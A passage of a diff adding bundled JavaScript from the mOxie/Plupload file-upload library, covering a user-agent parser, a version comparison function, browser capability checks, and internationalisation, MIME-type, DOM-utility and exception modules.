+	            /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
+	                                                                                // Chrome/OmniWeb/Arora/Tizen/Nokia
+	            /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
+	                                                                                // UCBrowser/QQBrowser
+	            ], [NAME, VERSION], [
+
+	            /(dolfin)\/([\w\.]+)/i                                              // Dolphin
+	            ], [[NAME, 'Dolphin'], VERSION], [
+
+	            /((?:android.+)crmo|crios)\/([\w\.]+)/i                             // Chrome for Android/iOS
+	            ], [[NAME, 'Chrome'], VERSION], [
+
+	            /XiaoMi\/MiuiBrowser\/([\w\.]+)/i                                   // MIUI Browser
+	            ], [VERSION, [NAME, 'MIUI Browser']], [
+
+	            /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i         // Android Browser
+	            ], [VERSION, [NAME, 'Android Browser']], [
+
+	            /FBAV\/([\w\.]+);/i                                                 // Facebook App for iOS
+	            ], [VERSION, [NAME, 'Facebook']], [
+
+	            /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i                       // Mobile Safari
+	            ], [VERSION, [NAME, 'Mobile Safari']], [
+
+	            /version\/([\w\.]+).+?(mobile\s?safari|safari)/i                    // Safari & Safari Mobile
+	            ], [VERSION, NAME], [
+
+	            /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i                     // Safari < 3.0
+	            ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [
+
+	            /(konqueror)\/([\w\.]+)/i,                                          // Konqueror
+	            /(webkit|khtml)\/([\w\.]+)/i
+	            ], [NAME, VERSION], [
+
+	            // Gecko based
+	            /(navigator|netscape)\/([\w\.-]+)/i                                 // Netscape
+	            ], [[NAME, 'Netscape'], VERSION], [
+	            /(swiftfox)/i,                                                      // Swiftfox
+	            /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
+	                                                                                // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
+	            /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
+	                                                                                // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
+	            /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,                          // Mozilla
+
+	            // Other
+	            /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
+	                                                                                // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
+	            /(links)\s\(([\w\.]+)/i,                                            // Links
+	            /(gobrowser)\/?([\w\.]+)*/i,                                        // GoBrowser
+	            /(ice\s?browser)\/v?([\w\._]+)/i,                                   // ICE Browser
+	            /(mosaic)[\/\s]([\w\.]+)/i                                          // Mosaic
+	            ], [NAME, VERSION]
+	        ],
+
+	        engine : [[
+
+	            /windows.+\sedge\/([\w\.]+)/i                                       // EdgeHTML
+	            ], [VERSION, [NAME, 'EdgeHTML']], [
+
+	            /(presto)\/([\w\.]+)/i,                                             // Presto
+	            /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,     // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
+	            /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,                          // KHTML/Tasman/Links
+	            /(icab)[\/\s]([23]\.[\d\.]+)/i                                      // iCab
+	            ], [NAME, VERSION], [
+
+	            /rv\:([\w\.]+).*(gecko)/i                                           // Gecko
+	            ], [VERSION, NAME]
+	        ],
+
+	        os : [[
+
+	            // Windows based
+	            /microsoft\s(windows)\s(vista|xp)/i                                 // Windows (iTunes)
+	            ], [NAME, VERSION], [
+	            /(windows)\snt\s6\.2;\s(arm)/i,                                     // Windows RT
+	            /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
+	            ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
+	            /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
+	            ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [
+
+	            // Mobile/Embedded OS
+	            /\((bb)(10);/i                                                      // BlackBerry 10
+	            ], [[NAME, 'BlackBerry'], VERSION], [
+	            /(blackberry)\w*\/?([\w\.]+)*/i,                                    // Blackberry
+	            /(tizen)[\/\s]([\w\.]+)/i,                                          // Tizen
+	            /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
+	                                                                                // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
+	            /linux;.+(sailfish);/i                                              // Sailfish OS
+	            ], [NAME, VERSION], [
+	            /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i                 // Symbian
+	            ], [[NAME, 'Symbian'], VERSION], [
+	            /\((series40);/i                                                    // Series 40
+	            ], [NAME], [
+	            /mozilla.+\(mobile;.+gecko.+firefox/i                               // Firefox OS
+	            ], [[NAME, 'Firefox OS'], VERSION], [
+
+	            // Console
+	            /(nintendo|playstation)\s([wids3portablevu]+)/i,                    // Nintendo/Playstation
+
+	            // GNU/Linux based
+	            /(mint)[\/\s\(]?(\w+)*/i,                                           // Mint
+	            /(mageia|vectorlinux)[;\s]/i,                                       // Mageia/VectorLinux
+	            /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
+	                                                                                // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
+	                                                                                // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
+	            /(hurd|linux)\s?([\w\.]+)*/i,                                       // Hurd/Linux
+	            /(gnu)\s?([\w\.]+)*/i                                               // GNU
+	            ], [NAME, VERSION], [
+
+	            /(cros)\s[\w]+\s([\w\.]+\w)/i                                       // Chromium OS
+	            ], [[NAME, 'Chromium OS'], VERSION],[
+
+	            // Solaris
+	            /(sunos)\s?([\w\.]+\d)*/i                                           // Solaris
+	            ], [[NAME, 'Solaris'], VERSION], [
+
+	            // BSD based
+	            /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i                   // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
+	            ], [NAME, VERSION],[
+
+	            /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i             // iOS
+	            ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [
+
+	            /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
+	            /(macintosh|mac(?=_powerpc)\s)/i                                    // Mac OS
+	            ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [
+
+	            // Other
+	            /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,                            // Solaris
+	            /(haiku)\s(\w+)/i,                                                  // Haiku
+	            /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,                               // AIX
+	            /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
+	                                                                                // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
+	            /(unix)\s?([\w\.]+)*/i                                              // UNIX
+	            ], [NAME, VERSION]
+	        ]
+	    };
+
+
+	    /////////////////
+	    // Constructor
+	    ////////////////
+
+
+	    var UAParser = function (uastring) {
+
+	        var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);
+
+	        this.getBrowser = function () {
+	            return mapper.rgx.apply(this, regexes.browser);
+	        };
+	        this.getEngine = function () {
+	            return mapper.rgx.apply(this, regexes.engine);
+	        };
+	        this.getOS = function () {
+	            return mapper.rgx.apply(this, regexes.os);
+	        };
+	        this.getResult = function() {
+	            return {
+	                ua      : this.getUA(),
+	                browser : this.getBrowser(),
+	                engine  : this.getEngine(),
+	                os      : this.getOS()
+	            };
+	        };
+	        this.getUA = function () {
+	            return ua;
+	        };
+	        this.setUA = function (uastring) {
+	            ua = uastring;
+	            return this;
+	        };
+	        this.setUA(ua);
+	    };
+
+	    return UAParser;
+	})();
+
+
+	function version_compare(v1, v2, operator) {
+	  // From: http://phpjs.org/functions
+	  // +      original by: Philippe Jausions (http://pear.php.net/user/jausions)
+	  // +      original by: Aidan Lister (http://aidanlister.com/)
+	  // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
+	  // +      improved by: Brett Zamir (http://brett-zamir.me)
+	  // +      improved by: Scott Baker
+	  // +      improved by: Theriault
+	  // *        example 1: version_compare('8.2.5rc', '8.2.5a');
+	  // *        returns 1: 1
+	  // *        example 2: version_compare('8.2.50', '8.2.52', '<');
+	  // *        returns 2: true
+	  // *        example 3: version_compare('5.3.0-dev', '5.3.0');
+	  // *        returns 3: -1
+	  // *        example 4: version_compare('4.1.0.52','4.01.0.51');
+	  // *        returns 4: 1
+
+	  // Important: compare must be initialized at 0.
+	  var i = 0,
+	    x = 0,
+	    compare = 0,
+	    // vm maps textual PHP versions to negatives so they're less than 0.
+	    // PHP currently defines these as CASE-SENSITIVE. It is important to
+	    // leave these as negatives so that they can come before numerical versions
+	    // and as if no letters were there to begin with.
+	    // (1alpha is < 1 and < 1.1 but > 1dev1)
+	    // If a non-numerical value can't be mapped to this table, it receives
+	    // -7 as its value.
+	    vm = {
+	      'dev': -6,
+	      'alpha': -5,
+	      'a': -5,
+	      'beta': -4,
+	      'b': -4,
+	      'RC': -3,
+	      'rc': -3,
+	      '#': -2,
+	      'p': 1,
+	      'pl': 1
+	    },
+	    // This function will be called to prepare each version argument.
+	    // It replaces every _, -, and + with a dot.
+	    // It surrounds any nonsequence of numbers/dots with dots.
+	    // It replaces sequences of dots with a single dot.
+	    //    version_compare('4..0', '4.0') == 0
+	    // Important: A string of 0 length needs to be converted into a value
+	    // even less than an unexisting value in vm (-7), hence [-8].
+	    // It's also important to not strip spaces because of this.
+	    //   version_compare('', ' ') == 1
+	    prepVersion = function (v) {
+	      v = ('' + v).replace(/[_\-+]/g, '.');
+	      v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
+	      return (!v.length ? [-8] : v.split('.'));
+	    },
+	    // This converts a version component to a number.
+	    // Empty component becomes 0.
+	    // Non-numerical component becomes a negative number.
+	    // Numerical component becomes itself as an integer.
+	    numVersion = function (v) {
+	      return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
+	    };
+
+	  v1 = prepVersion(v1);
+	  v2 = prepVersion(v2);
+	  x = Math.max(v1.length, v2.length);
+	  for (i = 0; i < x; i++) {
+	    if (v1[i] == v2[i]) {
+	      continue;
+	    }
+	    v1[i] = numVersion(v1[i]);
+	    v2[i] = numVersion(v2[i]);
+	    if (v1[i] < v2[i]) {
+	      compare = -1;
+	      break;
+	    } else if (v1[i] > v2[i]) {
+	      compare = 1;
+	      break;
+	    }
+	  }
+	  if (!operator) {
+	    return compare;
+	  }
+
+	  // Important: operator is CASE-SENSITIVE.
+	  // "No operator" seems to be treated as "<."
+	  // Any other values seem to make the function return null.
+	  switch (operator) {
+	  case '>':
+	  case 'gt':
+	    return (compare > 0);
+	  case '>=':
+	  case 'ge':
+	    return (compare >= 0);
+	  case '<=':
+	  case 'le':
+	    return (compare <= 0);
+	  case '==':
+	  case '=':
+	  case 'eq':
+	    return (compare === 0);
+	  case '<>':
+	  case '!=':
+	  case 'ne':
+	    return (compare !== 0);
+	  case '':
+	  case '<':
+	  case 'lt':
+	    return (compare < 0);
+	  default:
+	    return null;
+	  }
+	}
+
+
+	var can = (function() {
+		var caps = {
+				define_property: (function() {
+					/* // currently too much extra code required, not exactly worth it
+					try { // as of IE8, getters/setters are supported only on DOM elements
+						var obj = {};
+						if (Object.defineProperty) {
+							Object.defineProperty(obj, 'prop', {
+								enumerable: true,
+								configurable: true
+							});
+							return true;
+						}
+					} catch(ex) {}
+
+					if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
+						return true;
+					}*/
+					return false;
+				}()),
+
+				create_canvas: (function() {
+					// On the S60 and BB Storm, getContext exists, but always returns undefined
+					// so we actually have to call getContext() to verify
+					// github.com/Modernizr/Modernizr/issues/issue/97/
+					var el = document.createElement('canvas');
+					return !!(el.getContext && el.getContext('2d'));
+				}()),
+
+				return_response_type: function(responseType) {
+					try {
+						if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
+							return true;
+						} else if (window.XMLHttpRequest) {
+							var xhr = new XMLHttpRequest();
+							xhr.open('get', '/'); // otherwise Gecko throws an exception
+							if ('responseType' in xhr) {
+								xhr.responseType = responseType;
+								// as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
+								if (xhr.responseType !== responseType) {
+									return false;
+								}
+								return true;
+							}
+						}
+					} catch (ex) {}
+					return false;
+				},
+
+				// ideas for this heavily come from Modernizr (http://modernizr.com/)
+				use_data_uri: (function() {
+					var du = new Image();
+
+					du.onload = function() {
+						caps.use_data_uri = (du.width === 1 && du.height === 1);
+					};
+					
+					setTimeout(function() {
+						du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
+					}, 1);
+					return false;
+				}()),
+
+				use_data_uri_over32kb: function() { // IE8
+					return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
+				},
+
+				use_data_uri_of: function(bytes) {
+					return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
+				},
+
+				use_fileinput: function() {
+					if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
+						return false;
+					}
+
+					var el = document.createElement('input');
+					el.setAttribute('type', 'file');
+					return !el.disabled;
+				}
+			};
+
+		return function(cap) {
+			var args = [].slice.call(arguments);
+			args.shift(); // shift of cap
+			return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
+		};
+	}());
+
+
+	var uaResult = new UAParser().getResult();
+
+
+	var Env = {
+		can: can,
+
+		uaParser: UAParser,
+		
+		browser: uaResult.browser.name,
+		version: uaResult.browser.version,
+		os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
+		osVersion: uaResult.os.version,
+
+		verComp: version_compare,
+
+		global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
+	};
+
+	// for backward compatibility
+	// @deprecated Use `Env.os` instead
+	Env.OS = Env.os;
+
+	if (MXI_DEBUG) {
+		Env.debug = {
+			runtime: true,
+			events: false
+		};
+
+		Env.log = function() {
+			
+			function logObj(data) {
+				// TODO: this should recursively print out the object in a pretty way
+				console.appendChild(document.createTextNode(data + "\n"));
+			}
+
+			var data = arguments[0];
+
+			if (Basic.typeOf(data) === 'string') {
+				data = Basic.sprintf.apply(this, arguments);
+			}
+
+			if (window && window.console && window.console.log) {
+				window.console.log(data);
+			} else if (document) {
+				var console = document.getElementById('moxie-console');
+				if (!console) {
+					console = document.createElement('pre');
+					console.id = 'moxie-console';
+					//console.style.display = 'none';
+					document.body.appendChild(console);
+				}
+
+				if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
+					logObj(data);
+				} else {
+					console.appendChild(document.createTextNode(data + "\n"));
+				}
+			}
+		};
+	}
+
+	return Env;
+});
+
+// Included from: src/javascript/core/I18n.js
+
+/**
+ * I18n.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/core/I18n", [
+	"moxie/core/utils/Basic"
+], function(Basic) {
+	var i18n = {};
+
+	return {
+		/**
+		 * Extends the language pack object with new items.
+		 *
+		 * @param {Object} pack Language pack items to add.
+		 * @return {Object} Extended language pack object.
+		 */
+		addI18n: function(pack) {
+			return Basic.extend(i18n, pack);
+		},
+
+		/**
+		 * Translates the specified string by checking for the english string in the language pack lookup.
+		 *
+		 * @param {String} str String to look for.
+		 * @return {String} Translated string or the input string if it wasn't found.
+		 */
+		translate: function(str) {
+			return i18n[str] || str;
+		},
+
+		/**
+		 * Shortcut for translate function
+		 *
+		 * @param {String} str String to look for.
+		 * @return {String} Translated string or the input string if it wasn't found.
+		 */
+		_: function(str) {
+			return this.translate(str);
+		},
+
+		/**
+		 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
+		 *
+		 * @param {String} str String with tokens
+		 * @return {String} String with replaced tokens
+		 */
+		sprintf: function(str) {
+			var args = [].slice.call(arguments, 1);
+
+			return str.replace(/%[a-z]/g, function() {
+				var value = args.shift();
+				return Basic.typeOf(value) !== 'undefined' ? value : '';
+			});
+		}
+	};
+});
+
+// Included from: src/javascript/core/utils/Mime.js
+
+/**
+ * Mime.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/core/utils/Mime", [
+	"moxie/core/utils/Basic",
+	"moxie/core/I18n"
+], function(Basic, I18n) {
+	
+	var mimeData = "" +
+		"application/msword,doc dot," +
+		"application/pdf,pdf," +
+		"application/pgp-signature,pgp," +
+		"application/postscript,ps ai eps," +
+		"application/rtf,rtf," +
+		"application/vnd.ms-excel,xls xlb," +
+		"application/vnd.ms-powerpoint,ppt pps pot," +
+		"application/zip,zip," +
+		"application/x-shockwave-flash,swf swfl," +
+		"application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
+		"application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
+		"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
+		"application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
+		"application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
+		"application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
+		"application/x-javascript,js," +
+		"application/json,json," +
+		"audio/mpeg,mp3 mpga mpega mp2," +
+		"audio/x-wav,wav," +
+		"audio/x-m4a,m4a," +
+		"audio/ogg,oga ogg," +
+		"audio/aiff,aiff aif," +
+		"audio/flac,flac," +
+		"audio/aac,aac," +
+		"audio/ac3,ac3," +
+		"audio/x-ms-wma,wma," +
+		"image/bmp,bmp," +
+		"image/gif,gif," +
+		"image/jpeg,jpg jpeg jpe," +
+		"image/photoshop,psd," +
+		"image/png,png," +
+		"image/svg+xml,svg svgz," +
+		"image/tiff,tiff tif," +
+		"text/plain,asc txt text diff log," +
+		"text/html,htm html xhtml," +
+		"text/css,css," +
+		"text/csv,csv," +
+		"text/rtf,rtf," +
+		"video/mpeg,mpeg mpg mpe m2v," +
+		"video/quicktime,qt mov," +
+		"video/mp4,mp4," +
+		"video/x-m4v,m4v," +
+		"video/x-flv,flv," +
+		"video/x-ms-wmv,wmv," +
+		"video/avi,avi," +
+		"video/webm,webm," +
+		"video/3gpp,3gpp 3gp," +
+		"video/3gpp2,3g2," +
+		"video/vnd.rn-realvideo,rv," +
+		"video/ogg,ogv," + 
+		"video/x-matroska,mkv," +
+		"application/vnd.oasis.opendocument.formula-template,otf," +
+		"application/octet-stream,exe";
+	
+	
+	var Mime = {
+
+		mimes: {},
+
+		extensions: {},
+
+		// Parses the default mime types string into a mimes and extensions lookup maps
+		addMimeType: function (mimeData) {
+			var items = mimeData.split(/,/), i, ii, ext;
+			
+			for (i = 0; i < items.length; i += 2) {
+				ext = items[i + 1].split(/ /);
+
+				// extension to mime lookup
+				for (ii = 0; ii < ext.length; ii++) {
+					this.mimes[ext[ii]] = items[i];
+				}
+				// mime to extension lookup
+				this.extensions[items[i]] = ext;
+			}
+		},
+
+
+		extList2mimes: function (filters, addMissingExtensions) {
+			var self = this, ext, i, ii, type, mimes = [];
+			
+			// convert extensions to mime types list
+			for (i = 0; i < filters.length; i++) {
+				ext = filters[i].extensions.split(/\s*,\s*/);
+
+				for (ii = 0; ii < ext.length; ii++) {
+					
+					// if there's an asterisk in the list, then accept attribute is not required
+					if (ext[ii] === '*') {
+						return [];
+					}
+
+					type = self.mimes[ext[ii]];
+					if (type && Basic.inArray(type, mimes) === -1) {
+						mimes.push(type);
+					}
+
+					// future browsers should filter by extension, finally
+					if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
+						mimes.push('.' + ext[ii]);
+					} else if (!type) {
+						// if we have no type in our map, then accept all
+						return [];
+					}
+				}
+			}
+			return mimes;
+		},
+
+
+		mimes2exts: function(mimes) {
+			var self = this, exts = [];
+			
+			Basic.each(mimes, function(mime) {
+				if (mime === '*') {
+					exts = [];
+					return false;
+				}
+
+				// check if this thing looks like mime type
+				var m = mime.match(/^(\w+)\/(\*|\w+)$/);
+				if (m) {
+					if (m[2] === '*') { 
+						// wildcard mime type detected
+						Basic.each(self.extensions, function(arr, mime) {
+							if ((new RegExp('^' + m[1] + '/')).test(mime)) {
+								[].push.apply(exts, self.extensions[mime]);
+							}
+						});
+					} else if (self.extensions[mime]) {
+						[].push.apply(exts, self.extensions[mime]);
+					}
+				}
+			});
+			return exts;
+		},
+
+
+		mimes2extList: function(mimes) {
+			var accept = [], exts = [];
+
+			if (Basic.typeOf(mimes) === 'string') {
+				mimes = Basic.trim(mimes).split(/\s*,\s*/);
+			}
+
+			exts = this.mimes2exts(mimes);
+			
+			accept.push({
+				title: I18n.translate('Files'),
+				extensions: exts.length ? exts.join(',') : '*'
+			});
+			
+			// save original mimes string
+			accept.mimes = mimes;
+
+			return accept;
+		},
+
+
+		getFileExtension: function(fileName) {
+			var matches = fileName && fileName.match(/\.([^.]+)$/);
+			if (matches) {
+				return matches[1].toLowerCase();
+			}
+			return '';
+		},
+
+		getFileMime: function(fileName) {
+			return this.mimes[this.getFileExtension(fileName)] || '';
+		}
+	};
+
+	Mime.addMimeType(mimeData);
+
+	return Mime;
+});
+
+// Included from: src/javascript/core/utils/Dom.js
+
+/**
+ * Dom.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {
+
+	/**
+	Get DOM Element by it's id.
+
+	@method get
+	@for Utils
+	@param {String} id Identifier of the DOM Element
+	@return {DOMElement}
+	*/
+	var get = function(id) {
+		if (typeof id !== 'string') {
+			return id;
+		}
+		return document.getElementById(id);
+	};
+
+	/**
+	Checks if specified DOM element has specified class.
+
+	@method hasClass
+	@static
+	@param {Object} obj DOM element like object to add handler to.
+	@param {String} name Class name
+	*/
+	var hasClass = function(obj, name) {
+		if (!obj.className) {
+			return false;
+		}
+
+		var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
+		return regExp.test(obj.className);
+	};
+
+	/**
+	Adds specified className to specified DOM element.
+
+	@method addClass
+	@static
+	@param {Object} obj DOM element like object to add handler to.
+	@param {String} name Class name
+	*/
+	var addClass = function(obj, name) {
+		if (!hasClass(obj, name)) {
+			obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
+		}
+	};
+
+	/**
+	Removes specified className from specified DOM element.
+
+	@method removeClass
+	@static
+	@param {Object} obj DOM element like object to add handler to.
+	@param {String} name Class name
+	*/
+	var removeClass = function(obj, name) {
+		if (obj.className) {
+			var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
+			obj.className = obj.className.replace(regExp, function($0, $1, $2) {
+				return $1 === ' ' && $2 === ' ' ? ' ' : '';
+			});
+		}
+	};
+
+	/**
+	Returns a given computed style of a DOM element.
+
+	@method getStyle
+	@static
+	@param {Object} obj DOM element like object.
+	@param {String} name Style you want to get from the DOM element
+	*/
+	var getStyle = function(obj, name) {
+		if (obj.currentStyle) {
+			return obj.currentStyle[name];
+		} else if (window.getComputedStyle) {
+			return window.getComputedStyle(obj, null)[name];
+		}
+	};
+
+
+	/**
+	Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
+
+	@method getPos
+	@static
+	@param {Element} node HTML element or element id to get x, y position from.
+	@param {Element} root Optional root element to stop calculations at.
+	@return {object} Absolute position of the specified element object with x, y fields.
+	*/
+	var getPos = function(node, root) {
+		var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;
+
+		node = node;
+		root = root || doc.body;
+
+		// Returns the x, y cordinate for an element on IE 6 and IE 7
+		function getIEPos(node) {
+			var bodyElm, rect, x = 0, y = 0;
+
+			if (node) {
+				rect = node.getBoundingClientRect();
+				bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
+				x = rect.left + bodyElm.scrollLeft;
+				y = rect.top + bodyElm.scrollTop;
+			}
+
+			return {
+				x : x,
+				y : y
+			};
+		}
+
+		// Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
+		if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
+			nodeRect = getIEPos(node);
+			rootRect = getIEPos(root);
+
+			return {
+				x : nodeRect.x - rootRect.x,
+				y : nodeRect.y - rootRect.y
+			};
+		}
+
+		parent = node;
+		while (parent && parent != root && parent.nodeType) {
+			x += parent.offsetLeft || 0;
+			y += parent.offsetTop || 0;
+			parent = parent.offsetParent;
+		}
+
+		parent = node.parentNode;
+		while (parent && parent != root && parent.nodeType) {
+			x -= parent.scrollLeft || 0;
+			y -= parent.scrollTop || 0;
+			parent = parent.parentNode;
+		}
+
+		return {
+			x : x,
+			y : y
+		};
+	};
+
+	/**
+	Returns the size of the specified node in pixels.
+
+	@method getSize
+	@static
+	@param {Node} node Node to get the size of.
+	@return {Object} Object with a w and h property.
+	*/
+	var getSize = function(node) {
+		return {
+			w : node.offsetWidth || node.clientWidth,
+			h : node.offsetHeight || node.clientHeight
+		};
+	};
+
+	return {
+		get: get,
+		hasClass: hasClass,
+		addClass: addClass,
+		removeClass: removeClass,
+		getStyle: getStyle,
+		getPos: getPos,
+		getSize: getSize
+	};
+});
+
+// Included from: src/javascript/core/Exceptions.js
+
+/**
+ * Exceptions.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/Exceptions', [
+	'moxie/core/utils/Basic'
+], function(Basic) {
+	function _findKey(obj, value) {
+		var key;
+		for (key in obj) {
+			if (obj[key] === value) {
+				return key;
+			}
+		}
+		return null;
+	}
+
+	return {
+		RuntimeError: (function() {
+			var namecodes = {
+				NOT_INIT_ERR: 1,
+				NOT_SUPPORTED_ERR: 9,
+				JS_ERR: 4
+			};
+
+			function RuntimeError(code) {
+				this.code = code;
+				this.name = _findKey(namecodes, code);
+				this.message = this.name + ": RuntimeError " + this.code;
+			}
+			
+			Basic.extend(RuntimeError, namecodes);
+			RuntimeError.prototype = Error.prototype;
+			return RuntimeError;
+		}()),
+		
+		OperationNotAllowedException: (function() {
+			
+			function OperationNotAllowedException(code) {
+				this.code = code;
+				this.name = 'OperationNotAllowedException';
+			}
+			
+			Basic.extend(OperationNotAllowedException, {
+				NOT_ALLOWED_ERR: 1
+			});
+			
+			OperationNotAllowedException.prototype = Error.prototype;
+			
+			return OperationNotAllowedException;
+		}()),
+
+		ImageError: (function() {
+			var namecodes = {
+				WRONG_FORMAT: 1,
+				MAX_RESOLUTION_ERR: 2,
+				INVALID_META_ERR: 3
+			};
+
+			function ImageError(code) {
+				this.code = code;
+				this.name = _findKey(namecodes, code);
+				this.message = this.name + ": ImageError " + this.code;
+			}
+			
+			Basic.extend(ImageError, namecodes);
+			ImageError.prototype = Error.prototype;
+
+			return ImageError;
+		}()),
+
+		FileException: (function() {
+			var namecodes = {
+				NOT_FOUND_ERR: 1,
+				SECURITY_ERR: 2,
+				ABORT_ERR: 3,
+				NOT_READABLE_ERR: 4,
+				ENCODING_ERR: 5,
+				NO_MODIFICATION_ALLOWED_ERR: 6,
+				INVALID_STATE_ERR: 7,
+				SYNTAX_ERR: 8
+			};
+
+			function FileException(code) {
+				this.code = code;
+				this.name = _findKey(namecodes, code);
+				this.message = this.name + ": FileException " + this.code;
+			}
+			
+			Basic.extend(FileException, namecodes);
+			FileException.prototype = Error.prototype;
+			return FileException;
+		}()),
+		
+		DOMException: (function() {
+			var namecodes = {
+				INDEX_SIZE_ERR: 1,
+				DOMSTRING_SIZE_ERR: 2,
+				HIERARCHY_REQUEST_ERR: 3,
+				WRONG_DOCUMENT_ERR: 4,
+				INVALID_CHARACTER_ERR: 5,
+				NO_DATA_ALLOWED_ERR: 6,
+				NO_MODIFICATION_ALLOWED_ERR: 7,
+				NOT_FOUND_ERR: 8,
+				NOT_SUPPORTED_ERR: 9,
+				INUSE_ATTRIBUTE_ERR: 10,
+				INVALID_STATE_ERR: 11,
+				SYNTAX_ERR: 12,
+				INVALID_MODIFICATION_ERR: 13,
+				NAMESPACE_ERR: 14,
+				INVALID_ACCESS_ERR: 15,
+				VALIDATION_ERR: 16,
+				TYPE_MISMATCH_ERR: 17,
+				SECURITY_ERR: 18,
+				NETWORK_ERR: 19,
+				ABORT_ERR: 20,
+				URL_MISMATCH_ERR: 21,
+				QUOTA_EXCEEDED_ERR: 22,
+				TIMEOUT_ERR: 23,
+				INVALID_NODE_TYPE_ERR: 24,
+				DATA_CLONE_ERR: 25
+			};
+
+			function DOMException(code) {
+				this.code = code;
+				this.name = _findKey(namecodes, code);
+				this.message = this.name + ": DOMException " + this.code;
+			}
+			
+			Basic.extend(DOMException, namecodes);
